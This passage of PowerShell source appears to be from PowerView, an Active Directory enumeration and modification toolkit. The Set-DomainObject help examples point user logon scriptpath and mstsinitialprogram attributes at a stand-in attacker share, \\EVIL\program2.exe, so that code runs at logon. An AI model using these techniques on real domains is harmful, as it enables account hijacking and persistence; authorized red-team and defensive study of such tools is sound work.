6539 $UACValueNames = [Enum]::GetNames($UACEnum)
6540 # add in the negations
6541 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
6542 # create new dynamic parameter
6543 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
6544 }
6545
6546 BEGIN {
6547 $SearcherArguments = @{}
6548 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
6549 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
6550 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
6551 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
6552 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
6553 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
6554 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
6555 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
6556 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
6557 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
6558 $ObjectSearcher = Get-DomainSearcher @SearcherArguments
6559 }
6560
6561 PROCESS {
6562 #bind dynamic parameter to a friendly variable
6563 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
6564 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
6565 }
6566 if ($ObjectSearcher) {
6567 $IdentityFilter = ''
6568 $Filter = ''
6569 $Identity | Where-Object {$_} | ForEach-Object {
6570 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
6571 if ($IdentityInstance -match '^S-1-') {
6572 $IdentityFilter += "(objectsid=$IdentityInstance)"
6573 }
6574 elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
6575 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
6576 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
6577 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
6578 # and rebuild the domain searcher
6579 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
6580 Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
6581 $SearcherArguments['Domain'] = $IdentityDomain
6582 $ObjectSearcher = Get-DomainSearcher @SearcherArguments
6583 if (-not $ObjectSearcher) {
6584 Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
6585 }
6586 }
6587 }
6588 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
6589 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
6590 $IdentityFilter += "(objectguid=$GuidByteString)"
6591 }
6592 elseif ($IdentityInstance.Contains('\')) {
6593 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
6594 if ($ConvertedIdentityInstance) {
6595 $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
6596 $ObjectName = $IdentityInstance.Split('\')[1]
6597 $IdentityFilter += "(samAccountName=$ObjectName)"
6598 $SearcherArguments['Domain'] = $ObjectDomain
6599 Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
6600 $ObjectSearcher = Get-DomainSearcher @SearcherArguments
6601 }
6602 }
6603 elseif ($IdentityInstance.Contains('.')) {
6604 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
6605 }
6606 else {
6607 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
6608 }
6609 }
6610 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
6611 $Filter += "(|$IdentityFilter)"
6612 }
6613
6614 if ($PSBoundParameters['LDAPFilter']) {
6615 Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
6616 $Filter += "$LDAPFilter"
6617 }
6618
6619 # build the LDAP filter for the dynamic UAC filter value
6620 $UACFilter | Where-Object {$_} | ForEach-Object {
6621 if ($_ -match 'NOT_.*') {
6622 $UACField = $_.Substring(4)
6623 $UACValue = [Int]($UACEnum::$UACField)
6624 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
6625 }
6626 else {
6627 $UACValue = [Int]($UACEnum::$_)
6628 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
6629 }
6630 }
6631
6632 if ($Filter -and $Filter -ne '') {
6633 $ObjectSearcher.filter = "(&$Filter)"
6634 }
6635 Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
6636
6637 if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
6638 else { $Results = $ObjectSearcher.FindAll() }
6639 $Results | Where-Object {$_} | ForEach-Object {
6640 if ($PSBoundParameters['Raw']) {
6641 # return raw result objects
6642 $Object = $_
6643 $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
6644 }
6645 else {
6646 $Object = Convert-LDAPProperty -Properties $_.Properties
6647 $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
6648 }
6649 $Object
6650 }
6651 if ($Results) {
6652 try { $Results.dispose() }
6653 catch {
6654 Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
6655 }
6656 }
6657 $ObjectSearcher.dispose()
6658 }
6659 }
6660}
6661
6662
6663function Get-DomainObjectAttributeHistory {
6664<#
6665.SYNOPSIS
6666
6667Returns the Active Directory attribute replication metadata for the specified
6668object, i.e. a parsed version of the msds-replattributemetadata attribute.
6669By default, replication data for every domain object is returned.
6670
6671Author: Will Schroeder (@harmj0y)
6672License: BSD 3-Clause
6673Required Dependencies: Get-DomainObject
6674
6675.DESCRIPTION
6676
6677Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
6678This is the domain attribute replication metadata associated with the object. The results are
6679parsed from their XML string form and returned as a custom object.
6680
6681.PARAMETER Identity
6682
6683A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
6684SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
6685Wildcards accepted.
6686
6687.PARAMETER Domain
6688
6689Specifies the domain to use for the query, defaults to the current domain.
6690
6691.PARAMETER LDAPFilter
6692
6693Specifies an LDAP query string that is used to filter Active Directory objects.
6694
6695.PARAMETER Properties
6696
6697Only return replication metadata on the specified property names.
6698
6699.PARAMETER SearchBase
6700
6701The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
6702Useful for OU queries.
6703
6704.PARAMETER Server
6705
6706Specifies an Active Directory server (domain controller) to bind to.
6707
6708.PARAMETER SearchScope
6709
6710Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
6711
6712.PARAMETER ResultPageSize
6713
6714Specifies the PageSize to set for the LDAP searcher object.
6715
6716.PARAMETER ServerTimeLimit
6717
6718Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
6719
6720.PARAMETER Tombstone
6721
6722Switch. Specifies that the searcher should also return deleted/tombstoned objects.
6723
6724.PARAMETER Credential
6725
6726A [Management.Automation.PSCredential] object of alternate credentials
6727for connection to the target domain.
6728
6729.EXAMPLE
6730
6731Get-DomainObjectAttributeHistory -Domain testlab.local
6732
6733Return all attribute replication metadata for all objects in the testlab.local domain.
6734
6735.EXAMPLE
6736
6737'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
6738
6739ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
6740 e ingChange ingDsaDN
6741-------- ---------- ------------ ------------ ------- ------------
6742CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S...
6743CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S...
6744CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S...
6745
6746.EXAMPLE
6747
6748Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
6749
6750ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local
6751ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb
6752AttributeName : userAccountControl
6753LastOriginatingChange : 2017-03-07T19:56:27Z
6754Version : 4
6755LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
6756 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
6757 l
6758
6759.OUTPUTS
6760
6761PowerView.ADObjectAttributeHistory
6762
6763Custom PSObject with translated replication metadata fields.
6764
6765.LINK
6766
6767https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
6768#>
6769
6770 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
6771 [OutputType('PowerView.ADObjectAttributeHistory')]
6772 [CmdletBinding()]
6773 Param(
6774 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6775 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
6776 [String[]]
6777 $Identity,
6778
6779 [ValidateNotNullOrEmpty()]
6780 [String]
6781 $Domain,
6782
6783 [ValidateNotNullOrEmpty()]
6784 [Alias('Filter')]
6785 [String]
6786 $LDAPFilter,
6787
6788 [ValidateNotNullOrEmpty()]
6789 [String[]]
6790 $Properties,
6791
6792 [ValidateNotNullOrEmpty()]
6793 [Alias('ADSPath')]
6794 [String]
6795 $SearchBase,
6796
6797 [ValidateNotNullOrEmpty()]
6798 [Alias('DomainController')]
6799 [String]
6800 $Server,
6801
6802 [ValidateSet('Base', 'OneLevel', 'Subtree')]
6803 [String]
6804 $SearchScope = 'Subtree',
6805
6806 [ValidateRange(1, 10000)]
6807 [Int]
6808 $ResultPageSize = 200,
6809
6810 [ValidateRange(1, 10000)]
6811 [Int]
6812 $ServerTimeLimit,
6813
6814 [Switch]
6815 $Tombstone,
6816
6817 [Management.Automation.PSCredential]
6818 [Management.Automation.CredentialAttribute()]
6819 $Credential = [Management.Automation.PSCredential]::Empty,
6820
6821 [Switch]
6822 $Raw
6823 )
6824
6825 BEGIN {
6826 $SearcherArguments = @{
6827 'Properties' = 'msds-replattributemetadata','distinguishedname'
6828 'Raw' = $True
6829 }
6830 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
6831 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
6832 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
6833 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
6834 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
6835 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
6836 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
6837 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
6838 if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
6839 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
6840
6841 if ($PSBoundParameters['Properties']) {
6842 $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
6843 }
6844 else {
6845 $PropertyFilter = ''
6846 }
6847 }
6848
6849 PROCESS {
6850 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
6851
6852 Get-DomainObject @SearcherArguments | ForEach-Object {
6853 $ObjectDN = $_.Properties['distinguishedname'][0]
6854 ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
6855 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue
6856 if ($TempObject) {
6857 if ($TempObject.pszAttributeName -Match $PropertyFilter) {
6858 $Output = New-Object PSObject
6859 $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
6860 $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
6861 $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
6862 $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
6863 $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
6864 $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory')
6865 $Output
6866 }
6867 }
6868 else {
6869 Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'"
6870 }
6871 }
6872 }
6873 }
6874}
6875
6876
6877function Get-DomainObjectLinkedAttributeHistory {
6878<#
6879.SYNOPSIS
6880
6881Returns the Active Directory links attribute value replication metadata for the
6882specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.
6883By default, replication data for every domain object is returned.
6884
6885Author: Will Schroeder (@harmj0y)
6886License: BSD 3-Clause
6887Required Dependencies: Get-DomainObject
6888
6889.DESCRIPTION
6890
6891Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.
6892This is the domain linked attribute value replication metadata associated with the object. The
6893results are parsed from their XML string form and returned as a custom object.
6894
6895.PARAMETER Identity
6896
6897A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
6898SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
6899Wildcards accepted.
6900
6901.PARAMETER Domain
6902
6903Specifies the domain to use for the query, defaults to the current domain.
6904
6905.PARAMETER LDAPFilter
6906
6907Specifies an LDAP query string that is used to filter Active Directory objects.
6908
6909.PARAMETER Properties
6910
6911Only return replication metadata on the specified property names.
6912
6913.PARAMETER SearchBase
6914
6915The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
6916Useful for OU queries.
6917
6918.PARAMETER Server
6919
6920Specifies an Active Directory server (domain controller) to bind to.
6921
6922.PARAMETER SearchScope
6923
6924Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
6925
6926.PARAMETER ResultPageSize
6927
6928Specifies the PageSize to set for the LDAP searcher object.
6929
6930.PARAMETER ServerTimeLimit
6931
6932Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
6933
6934.PARAMETER Tombstone
6935
6936Switch. Specifies that the searcher should also return deleted/tombstoned objects.
6937
6938.PARAMETER Credential
6939
6940A [Management.Automation.PSCredential] object of alternate credentials
6941for connection to the target domain.
6942
6943.EXAMPLE
6944
6945Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a
6946
6947Count Name
6948----- ----
6949 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local
6950 4 CN=Users,CN=Builtin,DC=testlab,DC=local
6951 2 CN=Guests,CN=Builtin,DC=testlab,DC=local
6952 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local
6953 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local
6954 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
6955 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local
6956 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local
6957 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local
6958 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local
6959 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local
6960 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...
6961 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...
6962 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local
6963 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local
6964
6965
6966.EXAMPLE
6967
6968'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory
6969
6970ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
6971ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387
6972AttributeName : member
6973AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
6974TimeDeleted : 2017-03-06T00:48:29Z
6975TimeCreated : 2017-03-06T00:48:29Z
6976LastOriginatingChange : 2017-03-06T00:48:29Z
6977Version : 1
6978LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
6979 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
6980 l
6981
6982ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
6983ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
6984AttributeName : member
6985AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local
6986TimeDeleted : 2017-06-13T22:20:02Z
6987TimeCreated : 2017-06-13T22:20:02Z
6988LastOriginatingChange : 2017-06-13T22:20:22Z
6989Version : 2
6990LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
6991 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
6992 l
6993
6994ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
6995ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
6996AttributeName : member
6997AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
6998TimeDeleted : 2017-03-06T00:48:29Z
6999TimeCreated : 2017-03-06T00:48:29Z
7000LastOriginatingChange : 2017-03-06T00:48:29Z
7001Version : 1
7002LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
7003 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
7004 l
7005
7006.EXAMPLE
7007
7008Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
7009
7010ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
7011ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
7012AttributeName : member
7013AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
7014TimeDeleted : 2017-04-10T22:17:19Z
7015TimeCreated : 2017-04-10T22:17:19Z
7016LastOriginatingChange : 2017-04-10T22:17:19Z
7017Version : 1
7018LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
7019 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
7020 l
7021
7022.OUTPUTS
7023
7024PowerView.ADObjectLinkedAttributeHistory
7025
7026Custom PSObject with translated replication metadata fields.
7027
7028.LINK
7029
7030https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
7031#>
7032
7033 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
7034 [OutputType('PowerView.ADObjectLinkedAttributeHistory')]
7035 [CmdletBinding()]
7036 Param(
7037 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7038 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
7039 [String[]]
7040 $Identity,
7041
7042 [ValidateNotNullOrEmpty()]
7043 [String]
7044 $Domain,
7045
7046 [ValidateNotNullOrEmpty()]
7047 [Alias('Filter')]
7048 [String]
7049 $LDAPFilter,
7050
7051 [ValidateNotNullOrEmpty()]
7052 [String[]]
7053 $Properties,
7054
7055 [ValidateNotNullOrEmpty()]
7056 [Alias('ADSPath')]
7057 [String]
7058 $SearchBase,
7059
7060 [ValidateNotNullOrEmpty()]
7061 [Alias('DomainController')]
7062 [String]
7063 $Server,
7064
7065 [ValidateSet('Base', 'OneLevel', 'Subtree')]
7066 [String]
7067 $SearchScope = 'Subtree',
7068
7069 [ValidateRange(1, 10000)]
7070 [Int]
7071 $ResultPageSize = 200,
7072
7073 [ValidateRange(1, 10000)]
7074 [Int]
7075 $ServerTimeLimit,
7076
7077 [Switch]
7078 $Tombstone,
7079
7080 [Management.Automation.PSCredential]
7081 [Management.Automation.CredentialAttribute()]
7082 $Credential = [Management.Automation.PSCredential]::Empty,
7083
7084 [Switch]
7085 $Raw
7086 )
7087
7088 BEGIN {
7089 $SearcherArguments = @{
7090 'Properties' = 'msds-replvaluemetadata','distinguishedname'
7091 'Raw' = $True
7092 }
7093 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
7094 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
7095 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
7096 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
7097 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
7098 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
7099 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
7100 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
7101 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
7102
7103 if ($PSBoundParameters['Properties']) {
7104 $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
7105 }
7106 else {
7107 $PropertyFilter = ''
7108 }
7109 }
7110
7111 PROCESS {
7112 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
7113
7114 Get-DomainObject @SearcherArguments | ForEach-Object {
7115 $ObjectDN = $_.Properties['distinguishedname'][0]
7116 ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
7117 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
7118 if ($TempObject) {
7119 if ($TempObject.pszAttributeName -Match $PropertyFilter) {
7120 $Output = New-Object PSObject
7121 $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
7122 $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
7123 $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
7124 $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
7125 $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
7126 $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
7127 $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
7128 $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
7129 $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
7130 $Output
7131 }
7132 }
7133 else {
7134 Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
7135 }
7136 }
7137 }
7138 }
7139}
7140
7141
7142function Set-DomainObject {
7143<#
7144.SYNOPSIS
7145
7146Modifies a gven property for a specified active directory object.
7147
7148Author: Will Schroeder (@harmj0y)
7149License: BSD 3-Clause
7150Required Dependencies: Get-DomainObject
7151
7152.DESCRIPTION
7153
7154Splats user/object targeting parameters to Get-DomainObject, returning the raw
7155searchresult object. Retrieves the raw directoryentry for the object, and sets
7156any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
7157from -Clear @().
7158
7159.PARAMETER Identity
7160
7161A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
7162SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
7163Wildcards accepted.
7164
7165.PARAMETER Set
7166
7167Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
7168
7169.PARAMETER XOR
7170
7171Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
7172
7173.PARAMETER Clear
7174
7175Specifies an array of object properties that will be cleared in the directory.
7176
7177.PARAMETER Domain
7178
7179Specifies the domain to use for the query, defaults to the current domain.
7180
7181.PARAMETER LDAPFilter
7182
7183Specifies an LDAP query string that is used to filter Active Directory objects.
7184
7185.PARAMETER SearchBase
7186
7187The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
7188Useful for OU queries.
7189
7190.PARAMETER Server
7191
7192Specifies an Active Directory server (domain controller) to bind to.
7193
7194.PARAMETER SearchScope
7195
7196Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
7197
7198.PARAMETER ResultPageSize
7199
7200Specifies the PageSize to set for the LDAP searcher object.
7201
7202.PARAMETER ServerTimeLimit
7203
7204Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
7205
7206.PARAMETER Tombstone
7207
7208Switch. Specifies that the searcher should also return deleted/tombstoned objects.
7209
7210.PARAMETER Credential
7211
7212A [Management.Automation.PSCredential] object of alternate credentials
7213for connection to the target domain.
7214
7215.EXAMPLE
7216
7217Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
7218
7219VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
7220VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
7221VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
7222
7223.EXAMPLE
7224
7225"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
7226
7227VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
7228VERBOSE: Get-DomainObject filter string:
7229(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
7230VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
7231VERBOSE: Setting countrycode to 1234 for object harmj0y
7232VERBOSE: Get-DomainSearcher search string:
7233LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
7234VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
7235VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
7236VERBOSE: Setting countrycode to 1234 for object testuser
7237
7238.EXAMPLE
7239
7240"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
7241
7242Cleares the 'department' field for both object identities.
7243
7244.EXAMPLE
7245
7246Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
7247
7248Name Value
7249---- -----
7250NORMAL_ACCOUNT 512
7251
7252
7253Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
7254
7255VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
7256VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
7257VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
7258
7259Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
7260
7261Name Value
7262---- -----
7263NORMAL_ACCOUNT 512
7264DONT_EXPIRE_PASSWORD 65536
7265
7266.EXAMPLE
7267
7268Get-DomainUser -Identity testuser -Properties scriptpath
7269
7270scriptpath
7271----------
7272\\primary\sysvol\blah.ps1
7273
7274$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
7275$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
7276Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
7277VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
7278VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
7279VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
7280VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
7281VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
7282VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
7283
7284Get-DomainUser -Identity testuser -Properties scriptpath
7285
7286scriptpath
7287----------
7288\\EVIL\program2.exe
7289#>
7290
7291 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
7292 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7293 [CmdletBinding()]
7294 Param(
7295 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7296 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
7297 [String[]]
